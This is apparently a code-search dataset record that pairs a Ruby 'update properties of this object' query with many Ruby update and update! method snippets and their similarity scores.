args.key?(:value_status)\n end", "def update!(**args)\n @object_size_bytes = args[:object_size_bytes] if args.key?(:object_size_bytes)\n @object_version = args[:object_version] if args.key?(:object_version)\n end", "def movable_update\n\n # Work through the different aspects we update\n movable_location_update\n movable_size_update\n movable_angle_update\n\n end", "def properties=(value)\n @properties = value\n end", "def update(attrs)\n attrs.each_pair do |key, value|\n send(\"#{key}=\", value) if respond_to?(\"#{key}=\")\n # attributes[key] = value <- lets make use of virtual attributes too\n end\n end", "def update(context={})\n self.pre_cast_attributes\n m2o = @relations.reject{|k, v| !self.class.many2one_relations.has_key?(k)}\n vals = @attributes.reject {|key, value| key == 'id'}.merge(m2o.merge(m2o){|k, v| v.is_a?(Array) ? v[0] : v})\n self.class.rpc_execute('write', self.id, vals, context)\n reload_from_record!(self.class.find(self.id, :context => context))\n end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update ; end", "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end", "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end", "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end", "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end", "def update_with(attributes)\n assign_attributes(attributes)\n end", "def update\n # don't need to update; hash is shared\n end", "def update(attributes)\n HashProxy.with(attributes) do |proxy|\n self.class.attribute_names.each do |name|\n send(\"#{name}=\", proxy[name]) if proxy.key?(name)\n end\n end\n save\n end", "def update!(**args)\n @object_id_prop = args[:object_id_prop] if args.key?(:object_id_prop)\n @relation = args[:relation] if args.key?(:relation)\n @subject_id = args[:subject_id] if args.key?(:subject_id)\n end", "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end", "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end", "def update\n raise NotImplementedError\n end", "def update_attributes attributes\n @attributes.merge! attributes\n end", "def update!(**args)\n @async_options = args[:async_options] if args.key?(:async_options)\n @input_mappings = args[:input_mappings] if args.key?(:input_mappings)\n @name_property = args[:name_property] if args.key?(:name_property)\n @validation_options = args[:validation_options] if args.key?(:validation_options)\n end", "def update\r\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @type = args[:type] if args.key?(:type)\n end", "def update\n raise NotImplemented\n end", "def update_obj\n mean, sd = rating.to_glicko_rating\n @obj.rating = mean\n @obj.rating_deviation = sd\n @obj.volatility = volatility\n end", "def update_values\n end", "def update_values\n end", "def update\n raise NotImplementedError\n end", "def update!(**args)\n @answers_header_signals = args[:answers_header_signals] if args.key?(:answers_header_signals)\n @property_value = args[:property_value] if args.key?(:property_value)\n @response_meaning_application = args[:response_meaning_application] if args.key?(:response_meaning_application)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @method_prop = args[:method_prop] if args.key?(:method_prop)\n @name = args[:name] if args.key?(:name)\n @state = args[:state] if args.key?(:state)\n end", "def update attributes, collection #:nodoc:\n 0\n end", "def update_property_groups(roll)\n @property_groups.each { |_, v| v.update_rent(roll) }\n end", "def update!(**args)\n @source_property = args[:source_property] if args.key?(:source_property)\n end", "def update_info(update_attr_hash)\n update_attr_hash.each do |k,v| \n\t\t\tself.send(\"#{k}=\",v)\n\t\tend\n end", "def update_properties(path, properties)\n prop_patch = PropPatch.new(properties)\n emit('propPatch', [path, prop_patch])\n prop_patch.commit\n\n prop_patch.result\n end", "def update\n set_deltatime\n set_last_update_at\n end" ]
[ "0.7012263", "0.69181895", "0.69181895", "0.69181895", "0.69181895", "0.69181895", "0.67403597", "0.6709326", "0.6709326", "0.6696149", "0.6696149", "0.6696149", "0.6696149", "0.6618882", "0.6571848", "0.65386343", "0.65178275", "0.6394807", "0.6389745", "0.6389745", "0.63328", "0.6319025", "0.6283673", "0.6269463", "0.62639254", "0.62410724", "0.62170374", "0.62152076", "0.6210263", "0.6204041", "0.6204041", "0.62021106", "0.62017816", "0.62017", "0.61730784", "0.61730784", "0.6159277", "0.6156169", "0.61445665", "0.6125433", "0.61241156", "0.6121413", "0.6110477", "0.6105694", "0.61016303", "0.60845226", "0.6084427", "0.6065455", "0.6059506", "0.6054869", "0.6051708", "0.6051708", "0.60413384", "0.6030853", "0.6022535", "0.6015561", "0.59932375", "0.59898263", "0.5976479", "0.5973787", "0.59678394", "0.5963291", "0.5962048", "0.5961157", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.59500545", "0.59443134", "0.59443134", "0.59424853", "0.59424853", "0.593523", "0.5926413", "0.5924831", "0.592427", "0.59233046", "0.59233046", "0.5921224", "0.59144294", "0.59142506", "0.58887535", "0.58854496", "0.5883008", "0.58792305", "0.5876954", "0.5876954", "0.58744955", "0.5857968", "0.5845542", "0.5841629", "0.58363605", "0.5829255", "0.582919", "0.5822138", "0.58208305" ]
0.0
-1
Update properties of this object
def update!(**args) @identifier = args[:identifier] if args.key?(:identifier) @type = args[:type] if args.key?(:type) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_properties(hash)\n hash.each do |key, value|\n setter_method = \"#{key}=\"\n if self.respond_to?(setter_method)\n self.send(setter_method, value)\n end\n end\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def refresh\n self.class.base_properties.each_with_index do |prop, prop_id|\n @properties[prop] = get_property(prop_id)\n end\n refresh_features\n refresh_status\n refresh_config\n self\n end", "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end", "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update_properties!(branch_id=nil)\n properties = fetch_properties(false, branch_id)\n length = properties.length\n counter = 0\n properties.each do |property|\n counter += 1\n if Vebra.debugging?\n puts \"[Vebra]: #{counter}/#{length}: live updating property with Vebra ref: #{property.attributes[:vebra_ref]}\"\n end\n live_update!(property)\n Vebra.set_last_updated_at(Time.now) if counter == length\n end\n end", "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end", "def update_attributes(properties_hash)\n self.class.get_class_properties.each do |property|\n key = property[:name].to_sym\n if properties_hash.has_key? key\n self.setValue(properties_hash[key], forKey:key)\n end\n end\n end", "def update\n # TODO: implement update\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @states = args[:states] if args.key?(:states)\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end", "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @total_value_count = args[:total_value_count] if args.key?(:total_value_count)\n @value = args[:value] if args.key?(:value)\n @value_status = args[:value_status] if args.key?(:value_status)\n end", "def update\n \n end", "def refresh\n set_attributes\n end", "def update(attrs)\n @attrs.update(attrs)\n self\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @source = args[:source] if args.key?(:source)\n end", "def update_resource object, attributes\n object.update attributes\n end", "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end", "def update\n \n end", "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @schema = args[:schema] if args.key?(:schema)\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def update(attributes = {})\n super(attributes)\n retrieve!\n self\n end", "def _update!\n self.class.properties.each do |property, predicate|\n if dirty?(property)\n self.class.repository_or_fail.delete([subject, predicate[:predicate], nil])\n if self.class.is_list?(property)\n repo = RDF::Repository.new\n attribute_get(property).each do |value|\n repo << RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(value, self.class.properties[property][:type]))\n end\n self.class.repository_or_fail.insert(*repo)\n else\n self.class.repository_or_fail.insert(RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(attribute_get(property), self.class.properties[property][:type])))\n end\n end\n @dirty[property] = nil\n @attributes[:original][property] = attribute_get(property)\n end\n self.class.repository_or_fail.insert(RDF::Statement.new(@subject, RDF.type, type)) unless type.nil?\n end", "def update\n @objects.map(&:update);\n end", "def update\n raise NotImplementedError\n end", "def update\n raise NotImplementedError\n end", "def live_update!(property)\n property_class = Vebra.models[:property][:class].to_s.camelize.constantize\n\n # ensure we have the full property attributes\n property.get_property if !property.attributes[:status] && property.attributes[:action] != 'deleted'\n\n # find & update or build a new property\n property_model = property_class.find_or_initialize_by_vebra_ref(property.attributes[:vebra_ref])\n\n # make sure property object is not empty\n return false if !property.attributes || !property.attributes[:property_type]\n\n # if the property has been deleted, mark it appropriately and move on\n if property.attributes[:action] == 'deleted'\n return property_model.destroy\n end\n\n # extract accessible attributes for the property\n property_accessibles = property_class.accessible_attributes.map(&:to_sym)\n property_attributes = property.attributes.inject({}) do |result, (key, value)|\n result[key] = value if property_accessibles.include?(key)\n result\n end\n\n # update the property model's attributes\n property_model.no_callbacks = true if property_model.respond_to?(:no_callbacks)\n property_model.update_attributes(property_attributes)\n\n # find & update or build a new address\n if Vebra.models[:address]\n address_class = Vebra.models[:address][:class].to_s.camelize.constantize\n address_model = property_model.send(Vebra.models[:property][:address_method])\n address_model = property_model.send(\"build_#{Vebra.models[:property][:address_method]}\") unless address_model\n\n # extract accessible attributes for the address\n address_accessibles = address_class.accessible_attributes.map(&:to_sym)\n address_attributes = property.attributes[:address].inject({}) do |result, (key, value)|\n result[key] = value if address_accessibles.include?(key)\n result\n end\n\n # update the address model's attributes\n address_model.update_attributes(address_attributes)\n end\n\n # find & update or build new rooms\n if Vebra.models[:room]\n room_class = Vebra.models[:room][:class].to_s.camelize.constantize\n\n # accessible attributes for the rooms\n room_accessibles = room_class.accessible_attributes.map(&:to_sym)\n\n # delete any rooms which are no longer present\n property_rooms = property.attributes[:rooms] || []\n property_model_rooms = property_model.send(Vebra.models[:property][:rooms_method])\n refs_to_delete = property_model_rooms.map(&:vebra_ref) - property_rooms.map { |r| r[:vebra_ref] }\n property_model_rooms.each do |room|\n room.destroy if refs_to_delete.include?(room.vebra_ref)\n end\n\n # find & update or build new rooms\n property_rooms.each do |room|\n room_model = room_class.find_by_property_id_and_vebra_ref(property_model.id, room[:vebra_ref])\n room_model = property_model_rooms.build unless room_model\n\n # extract accessible attributes for the room\n room_attributes = room.inject({}) do |result, (key, value)|\n result[key] = value if room_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n room_model.update_attributes(room_attributes)\n end\n end\n\n # find & update or build new file attachments\n if Vebra.models[:file]\n file_class = Vebra.models[:file][:class].to_s.camelize.constantize\n\n # accessible attributes for the files\n file_accessibles = file_class.accessible_attributes.map(&:to_sym)\n\n # first normalize the collection (currently nested collections)\n property_files = property.attributes[:files].inject([]) do |result, (kind, collection)|\n collection.each do |file|\n file[:type] = kind.to_s.singularize.camelize if file_accessibles.include?(:type)\n file[\"remote_#{Vebra.models[:file][:attachment_method]}_url\".to_sym] = file.delete(:url)\n # if file[:type] is set, it means the attachment file class can be subclassed. In this\n # case we need to ensure that the subclass exists. If not, we ignore this file\n begin\n file[:type].constantize if file_accessibles.include?(:type)\n result << file\n rescue NameError => e\n # ignore - this means the subclass does not exist\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n\n result\n end\n\n # delete any files which are no longer present\n property_model_files = property_model.send(Vebra.models[:property][:files_method])\n refs_to_delete = property_model_files.map(&:vebra_ref) - property_files.map { |f| f[:vebra_ref] }\n property_model_files.each do |file|\n file.destroy if refs_to_delete.include?(file.vebra_ref)\n end\n\n # find & update or build new files\n property_files.each do |file|\n begin\n file_model = property_model_files.find_by_vebra_ref(file[:vebra_ref])\n file_model = property_model_files.build unless file_model\n\n # extract accessible attributes for the file\n file_attributes = file.inject({}) do |result, (key, value)|\n result[key] = value if file_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n file_model.update_attributes(file_attributes)\n rescue CarrierWave::ProcessingError, OpenURI::HTTPError => e\n # just ignore the file\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n end\n\n property_model.no_callbacks = false if property_model.respond_to?(:no_callbacks)\n property_model.save\n return property_model\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def update\n end", "def update!(**args)\n @mid = args[:mid] if args.key?(:mid)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def modified_properties=(value)\n @modified_properties = value\n end", "def apply_properties!(properties)\n # Non-commutitivity etc. eventually.\n end", "def set_properties(hash)\n hash.each do |key, value|\n add_or_remove_ostruct_member(key, value)\n end\n rest_reset_properties\n end", "def update\n\t\t\n\t\tend", "def set_props(props)\n @props.merge!(props)\n end", "def update() end", "def update!(**args)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def assign_properties\n self.properties ||= {}\n listing_properties.each do |prop|\n self.properties[prop.key] ||= prop.value\n end\n end", "def change_properties(new_current_floor, new_next_floor, new_movement)\n @current_floor = new_current_floor\n @next_floor = new_next_floor\n @movement = new_movement\n end", "def update!(**args)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end", "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end", "def update(attributes)\n (@attributes ||= {}).merge! attributes\n\n (self.class.attr_initializables & attributes.keys).each do |name|\n instance_variable_set :\"@#{name}\", attributes[name]\n end\n\n self\n end", "def update_attributes(attrs)\n super({})\n end", "def update\n @dirty = true\n end", "def update\n\n # Run through the mixin updates\n colourable_update\n movable_update\n\n end", "def set(props)\n props.each do |prop, val|\n self.send(:\"#{ prop }=\", val)\n end\n end", "def update\n super\n end", "def update!(**args)\n @property_id = args[:property_id] if args.key?(:property_id)\n @value_status = args[:value_status] if args.key?(:value_status)\n end", "def update!(**args)\n @object_size_bytes = args[:object_size_bytes] if args.key?(:object_size_bytes)\n @object_version = args[:object_version] if args.key?(:object_version)\n end", "def movable_update\n\n # Work through the different aspects we update\n movable_location_update\n movable_size_update\n movable_angle_update\n\n end", "def properties=(value)\n @properties = value\n end", "def update(attrs)\n attrs.each_pair do |key, value|\n send(\"#{key}=\", value) if respond_to?(\"#{key}=\")\n # attributes[key] = value <- lets make use of virtual attributes too\n end\n end", "def update(context={})\n self.pre_cast_attributes\n m2o = @relations.reject{|k, v| !self.class.many2one_relations.has_key?(k)}\n vals = @attributes.reject {|key, value| key == 'id'}.merge(m2o.merge(m2o){|k, v| v.is_a?(Array) ? v[0] : v})\n self.class.rpc_execute('write', self.id, vals, context)\n reload_from_record!(self.class.find(self.id, :context => context))\n end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update ; end", "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end", "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end", "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end", "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end", "def update_with(attributes)\n assign_attributes(attributes)\n end", "def update\n # don't need to update; hash is shared\n end", "def update(attributes)\n HashProxy.with(attributes) do |proxy|\n self.class.attribute_names.each do |name|\n send(\"#{name}=\", proxy[name]) if proxy.key?(name)\n end\n end\n save\n end", "def update!(**args)\n @object_id_prop = args[:object_id_prop] if args.key?(:object_id_prop)\n @relation = args[:relation] if args.key?(:relation)\n @subject_id = args[:subject_id] if args.key?(:subject_id)\n end", "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end", "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end", "def update\n raise NotImplementedError\n end", "def update_attributes attributes\n @attributes.merge! attributes\n end", "def update!(**args)\n @async_options = args[:async_options] if args.key?(:async_options)\n @input_mappings = args[:input_mappings] if args.key?(:input_mappings)\n @name_property = args[:name_property] if args.key?(:name_property)\n @validation_options = args[:validation_options] if args.key?(:validation_options)\n end", "def update\r\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @type = args[:type] if args.key?(:type)\n end", "def update\n raise NotImplemented\n end", "def update_obj\n mean, sd = rating.to_glicko_rating\n @obj.rating = mean\n @obj.rating_deviation = sd\n @obj.volatility = volatility\n end", "def update_values\n end", "def update_values\n end", "def update\n raise NotImplementedError\n end", "def update!(**args)\n @answers_header_signals = args[:answers_header_signals] if args.key?(:answers_header_signals)\n @property_value = args[:property_value] if args.key?(:property_value)\n @response_meaning_application = args[:response_meaning_application] if args.key?(:response_meaning_application)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @method_prop = args[:method_prop] if args.key?(:method_prop)\n @name = args[:name] if args.key?(:name)\n @state = args[:state] if args.key?(:state)\n end", "def update attributes, collection #:nodoc:\n 0\n end", "def update_property_groups(roll)\n @property_groups.each { |_, v| v.update_rent(roll) }\n end", "def update_info(update_attr_hash)\n update_attr_hash.each do |k,v| \n\t\t\tself.send(\"#{k}=\",v)\n\t\tend\n end", "def update!(**args)\n @source_property = args[:source_property] if args.key?(:source_property)\n end", "def update_properties(path, properties)\n prop_patch = PropPatch.new(properties)\n emit('propPatch', [path, prop_patch])\n prop_patch.commit\n\n prop_patch.result\n end", "def update\n set_deltatime\n set_last_update_at\n end" ]
[ "0.7012568", "0.6918917", "0.6918917", "0.6918917", "0.6918917", "0.6918917", "0.67404634", "0.6709981", "0.6709981", "0.66964126", "0.66964126", "0.66964126", "0.66964126", "0.6619218", "0.6570895", "0.6539287", "0.6517026", "0.63946927", "0.63901657", "0.63901657", "0.63328683", "0.6318612", "0.62846893", "0.62692374", "0.6264273", "0.6241163", "0.6216599", "0.6214641", "0.6210363", "0.6203827", "0.6203827", "0.620312", "0.6201905", "0.62001497", "0.61728275", "0.61728275", "0.6159924", "0.61569315", "0.61442953", "0.61260897", "0.6125199", "0.61227936", "0.61111224", "0.610543", "0.6102925", "0.60839343", "0.6083609", "0.6066973", "0.60602766", "0.6055065", "0.6051568", "0.6051568", "0.6042057", "0.60319084", "0.60221004", "0.60149413", "0.5994295", "0.5989816", "0.597674", "0.5973157", "0.5967343", "0.5965598", "0.59629464", "0.59618354", "0.5950329", "0.5950329", "0.5950329", "0.5950329", "0.5950329", "0.5950329", "0.5950329", "0.5950329", "0.59495455", "0.59442014", "0.59442014", "0.5944142", "0.5944142", "0.59361076", "0.5925741", "0.5925574", "0.59250593", "0.5924476", "0.5924476", "0.5921039", "0.59155524", "0.59145254", "0.5888445", "0.58860934", "0.5882302", "0.5879913", "0.5877467", "0.5877467", "0.58743787", "0.585829", "0.584583", "0.58408254", "0.5835501", "0.5829063", "0.5828611", "0.58228916", "0.5819882" ]
0.0
-1
Update properties of this object
def update!(**args) @verification_method = args[:verification_method] if args.key?(:verification_method) @token = args[:token] if args.key?(:token) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_properties(hash)\n hash.each do |key, value|\n setter_method = \"#{key}=\"\n if self.respond_to?(setter_method)\n self.send(setter_method, value)\n end\n end\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def refresh\n self.class.base_properties.each_with_index do |prop, prop_id|\n @properties[prop] = get_property(prop_id)\n end\n refresh_features\n refresh_status\n refresh_config\n self\n end", "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end", "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update_properties!(branch_id=nil)\n properties = fetch_properties(false, branch_id)\n length = properties.length\n counter = 0\n properties.each do |property|\n counter += 1\n if Vebra.debugging?\n puts \"[Vebra]: #{counter}/#{length}: live updating property with Vebra ref: #{property.attributes[:vebra_ref]}\"\n end\n live_update!(property)\n Vebra.set_last_updated_at(Time.now) if counter == length\n end\n end", "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end", "def update_attributes(properties_hash)\n self.class.get_class_properties.each do |property|\n key = property[:name].to_sym\n if properties_hash.has_key? key\n self.setValue(properties_hash[key], forKey:key)\n end\n end\n end", "def update\n # TODO: implement update\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @states = args[:states] if args.key?(:states)\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end", "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @total_value_count = args[:total_value_count] if args.key?(:total_value_count)\n @value = args[:value] if args.key?(:value)\n @value_status = args[:value_status] if args.key?(:value_status)\n end", "def update\n \n end", "def refresh\n set_attributes\n end", "def update(attrs)\n @attrs.update(attrs)\n self\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @source = args[:source] if args.key?(:source)\n end", "def update_resource object, attributes\n object.update attributes\n end", "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end", "def update\n \n end", "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @schema = args[:schema] if args.key?(:schema)\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def _update!\n self.class.properties.each do |property, predicate|\n if dirty?(property)\n self.class.repository_or_fail.delete([subject, predicate[:predicate], nil])\n if self.class.is_list?(property)\n repo = RDF::Repository.new\n attribute_get(property).each do |value|\n repo << RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(value, self.class.properties[property][:type]))\n end\n self.class.repository_or_fail.insert(*repo)\n else\n self.class.repository_or_fail.insert(RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(attribute_get(property), self.class.properties[property][:type])))\n end\n end\n @dirty[property] = nil\n @attributes[:original][property] = attribute_get(property)\n end\n self.class.repository_or_fail.insert(RDF::Statement.new(@subject, RDF.type, type)) unless type.nil?\n end", "def update(attributes = {})\n super(attributes)\n retrieve!\n self\n end", "def update\n @objects.map(&:update);\n end", "def update\n raise NotImplementedError\n end", "def update\n raise NotImplementedError\n end", "def live_update!(property)\n property_class = Vebra.models[:property][:class].to_s.camelize.constantize\n\n # ensure we have the full property attributes\n property.get_property if !property.attributes[:status] && property.attributes[:action] != 'deleted'\n\n # find & update or build a new property\n property_model = property_class.find_or_initialize_by_vebra_ref(property.attributes[:vebra_ref])\n\n # make sure property object is not empty\n return false if !property.attributes || !property.attributes[:property_type]\n\n # if the property has been deleted, mark it appropriately and move on\n if property.attributes[:action] == 'deleted'\n return property_model.destroy\n end\n\n # extract accessible attributes for the property\n property_accessibles = property_class.accessible_attributes.map(&:to_sym)\n property_attributes = property.attributes.inject({}) do |result, (key, value)|\n result[key] = value if property_accessibles.include?(key)\n result\n end\n\n # update the property model's attributes\n property_model.no_callbacks = true if property_model.respond_to?(:no_callbacks)\n property_model.update_attributes(property_attributes)\n\n # find & update or build a new address\n if Vebra.models[:address]\n address_class = Vebra.models[:address][:class].to_s.camelize.constantize\n address_model = property_model.send(Vebra.models[:property][:address_method])\n address_model = property_model.send(\"build_#{Vebra.models[:property][:address_method]}\") unless address_model\n\n # extract accessible attributes for the address\n address_accessibles = address_class.accessible_attributes.map(&:to_sym)\n address_attributes = property.attributes[:address].inject({}) do |result, (key, value)|\n result[key] = value if address_accessibles.include?(key)\n result\n end\n\n # update the address model's attributes\n address_model.update_attributes(address_attributes)\n end\n\n # find & update or build new rooms\n if Vebra.models[:room]\n room_class = Vebra.models[:room][:class].to_s.camelize.constantize\n\n # accessible attributes for the rooms\n room_accessibles = 